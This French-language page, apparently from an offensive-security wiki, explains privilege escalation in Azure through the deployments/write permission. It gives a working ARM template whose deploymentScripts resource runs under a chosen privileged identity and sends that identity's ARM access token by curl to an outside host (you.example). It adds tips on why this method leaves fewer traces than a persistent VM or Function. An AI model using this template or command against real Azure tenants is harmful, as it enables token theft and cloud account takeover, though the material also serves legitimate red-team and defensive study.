Microsoft.Resources/deployments/write permet de soumettre un modèle ARM à un groupe de ressources. Deux formes d'escalade en découlent : déployer une ressource qui porte une identité managée privilégiée puis l'emprunter, ou déployer une ressource deploymentScripts, qui exécute un script arbitraire dans un conteneur sous une identité user-assigned que vous désignez (la technique Invoke-AzureDeploymentScript de MicroBurst).
deploymentScripts s'exécutant sous une identité choisie#
cat > ds.json <<'EOF'
{ "$schema":"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#",
"contentVersion":"1.0.0.0",
"resources":[{
"type":"Microsoft.Resources/deploymentScripts","apiVersion":"2020-10-01",
"name":"x","location":"eastus","kind":"AzureCLI",
"identity":{"type":"UserAssigned","userAssignedIdentities":{"<privileged-uami-resource-id>":{}}},
"properties":{"azCliVersion":"2.52.0","retentionInterval":"PT1H",
"scriptContent":"az account get-access-token --resource https://management.azure.com/ | curl -s -X POST -d @- https://you.example"}}]}
EOF
az deployment group create -g <rg> --template-file ds.json
Le script s'exécute sous l'identité désignée et exfiltre son token ARM.
Notes d'exploitation#
deploymentScriptsest la primitive la plus propre : elle ne nécessite quedeployments/writeet le droit d'utiliser l'identité user-assigned, et laisse un conteneur éphémère plutôt qu'une ressource permanente.- Déployer une VM ou une Function avec une identité system-assigned fonctionne aussi, mais crée des ressources durables, plus faciles à repérer.
- Les déploiements s'exécutent par défaut au scope du groupe de ressources ;
deployments/writeau scope de l'abonnement élargit le rayon d'action.
Outils#
- az cli (
az deployment group create). - MicroBurst (
Invoke-AzureDeploymentScript).